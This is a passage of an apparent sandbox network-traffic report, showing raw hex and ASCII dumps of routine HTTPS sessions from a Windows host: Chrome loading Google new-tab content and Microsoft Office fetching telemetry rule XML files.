2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 4f 4d 69 39 49 65 45 46 77 56 53 74 45 57 6e 4a 69 63 6d 56 33 59 32 49 33 61 6d 30 76 63 48 52 36 5a 6c 6c 6c 53 57 55 77 4f 56 56 46 63 6e 46 5a 56 57 78 54 4d 45 6c 72 56 31 4e 33 56 57 78 73 53 55 38 31 51 55 70 48 65 45 6b 79 64 6d 4a 75 64 47 67 78 59 6d 31 47 64 31 4a 78 53 6c 4d 34 63 55 74 78 63 7a 56 4d 51 55 4a 57 52 6e 6c 6d 57 56 6c 4b 4d 45 56 4a 51 6b 70 76 55 7a 59 78 5a 6c 51 79 57 44 46 47 54 6c 4d 78 61 30 5a 53 54 46 4e 36 54 45 5a 48 53 6b 5a 4e 55 56 70 6b 59 58 46 42 5a 56 4e 4f 53 6a 49 33 62 6b 56 4a 65 6e 4e 44 56 6e 45 31 4d 6d 4e 32 51 31 6c 6d 52 46 68 4b 57 6c 55 77 54 6e 51 76 65 56 4a 53 4f 56 52 42 59 54 4a 75 63 45 64 79 59 54 4a 78 4d 47 77 31 53 6e 42 45 53 58 45 79 56 54 4a 4b 4d 30 35 79 4d 30 68 4f 4b 32 56 4d 4b 7a Data Ascii: OMi9IeEFwVStEWnJicmV3Y2I3am0vcHR6ZlllSWUwOVVFcnFZVWxTMElrV1N3VWxsSU81QUpHeEkydmJudGgxYm1Gd1JxSlM4cUtxczVMQUJWRnlmWVlKMEVJQkpvUzYxZlQyWDFGTlMxa0ZSTFN6TEZHSkZNUVpkYXFBZVNOSjI3bkVJenNDVnE1MmN2Q1lmRFhKWlUwTnQveVJSOVRBYTJucEdyYTJxMGw1SnBESXEyVTJKM05yM0hOK2VMKz
2024-12-07 17:26:22 UTC	568	IN	Data Raw: 6a 68 36 53 46 51 79 62 54 4a 4f 63 31 52 42 54 46 4a 43 4b 79 74 59 4f 48 6c 35 5a 47 52 61 65 47 34 77 4b 31 56 35 56 58 4e 31 56 31 42 54 56 58 4a 7a 52 6d 31 73 52 6e 70 78 53 44 68 4f 4e 32 4a 42 4c 32 5a 71 52 6e 5a 42 4f 45 78 33 4e 6a 56 42 65 58 5a 36 53 46 6c 54 5a 6b 38 78 51 32 67 77 62 56 4d 31 61 33 4a 43 52 6c 6f 77 57 6c 52 6c 4d 57 78 4a 53 56 42 36 65 44 41 34 4d 54 46 61 61 31 6b 32 65 58 52 36 53 79 39 70 64 44 56 45 65 6e 52 5a 59 6c 6b 31 52 45 74 54 4e 58 56 69 61 46 4e 53 53 46 68 70 61 31 64 43 55 45 78 77 64 6e 56 69 4f 44 52 56 56 6d 56 72 5a 6b 6c 44 63 57 64 46 55 57 5a 52 55 32 4a 45 59 79 74 6e 52 6a 68 6c 54 32 74 53 59 6d 4a 76 53 6a 68 5a 57 46 67 34 4e 44 42 6d 65 6d 4a 5a 55 33 4a 6f 53 55 73 35 57 57 35 35 52 44 46 69 Data Ascii: jh6SFQybTJOc1RBTFJCKytYOHl5ZGRaeG4wK1V5VXN1V1BTVXJzRm1sRnpxSDhON2JBL2ZqRnZBOEx3NjVBeXZ6SFlTZk8xQ2gwbVM1a3JCRlowWlRlMWxJSVB6eDA4MTFaa1k2eXR6Sy9pdDVEenRZYlk1REtTNXViaFNSSFhpa1dCUExwdnViODRVVmVrZklDcWdFUWZRU2JEYytnRjhlT2tSYmJvSjhZWFg4NDBmemJZU3JoSUs5WW55RDFi
2024-12-07 17:26:22 UTC	89	IN	Data Raw: 35 33 0d 0a 4b 4f 57 4e 61 61 7a 4e 43 54 7a 64 53 4e 33 52 31 4d 31 70 6d 4d 58 68 76 62 56 42 32 51 6a 46 71 4f 55 68 73 63 7a 46 5a 56 55 56 69 53 55 35 6b 65 55 35 53 64 46 6c 45 61 32 34 79 4b 31 59 33 5a 44 64 5a 5a 44 68 76 57 48 4a 4c 63 31 42 45 55 47 0d 0a Data Ascii: 53KOWNaazNCTzdSN3R1M1pmMXhvbVB2QjFqOUhsczFZVUViSU5keU5SdFlEa24yK1Y3ZDdZZDhvWHJLc1BEUG
2024-12-07 17:26:22 UTC	1235	IN	Data Raw: 34 63 63 0d 0a 78 4a 51 7a 64 36 56 43 39 42 54 6d 74 4e 4d 44 64 71 54 30 39 74 62 31 68 6c 63 47 39 68 61 55 46 31 57 6c 46 4d 54 45 5a 4c 5a 6b 78 30 4e 30 31 4d 4e 79 39 33 52 45 56 5a 62 47 5a 4b 65 58 56 31 56 54 5a 46 56 46 5a 72 65 47 64 47 52 57 45 32 4d 7a 49 76 53 44 4d 34 55 32 4e 36 63 6b 39 78 59 57 70 69 63 55 74 4c 64 58 4e 4c 5a 58 4a 78 4f 55 59 72 5a 46 42 6f 54 58 64 47 61 44 59 33 54 43 39 52 4e 48 46 35 61 6d 78 34 4e 45 4e 6f 4d 55 45 35 4e 47 56 46 64 32 39 58 59 6b 70 74 54 6b 74 51 4d 31 42 5a 5a 53 39 73 54 58 6c 36 56 33 52 76 4e 6e 46 78 62 47 35 71 63 54 4a 6a 53 44 68 76 54 55 64 72 53 32 38 30 51 54 4e 33 5a 30 70 48 4d 46 68 70 56 33 68 61 59 32 68 6a 54 6a 5a 68 5a 45 4a 7a 54 33 4e 6f 53 6a 5a 79 56 57 4a 4b 59 79 73 72 Data Ascii: 4ccxJQzd6VC9BTmtNMDdqT09tb1hlcG9haUF1WlFMTEZLZkx0N01MNy93REVZbGZKeXV1VTZFVFZreGdGRWE2MzIvSDM4U2N6ck9xYWpicUtLdXNLZXJxOUYrZFBoTXdGaDY3TC9RNHF5amx4NENoMUE5NGVFd29XYkptTktQM1BZZS9sTXl6V3RvNnFxbG5qcTJjSDhvTUdrS280QTN3Z0pHMFhpV3haY2hjTjZhZEJzT3NoSjZyVWJKYysr
2024-12-07 17:26:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49711	142.250.181.68	443	4524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49708	142.250.181.68	443	4524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 17:26:22 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 17:26:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 17:26:22 UTC	372	IN	Data Raw: 32 33 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 231d)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700289,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-07 17:26:22 UTC	285	IN	Data Raw: 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 Data Ascii: rn a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003
2024-12-07 17:26:22 UTC	380	IN	Data Raw: 31 37 35 0d 0a 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c Data Ascii: 175"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 Data Ascii: 8000e\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a,b){return a.lastInde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49712	142.250.181.68	443	4524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 17:26:22 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 17:26:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 17:26:22 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-07 17:26:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172622Z-r1cf579d778dfdgnhC1EWRd3w000000002sg0000000050cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172622Z-r1cf579d77867vg8hC1EWR8knc00000002v0000000003ued x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
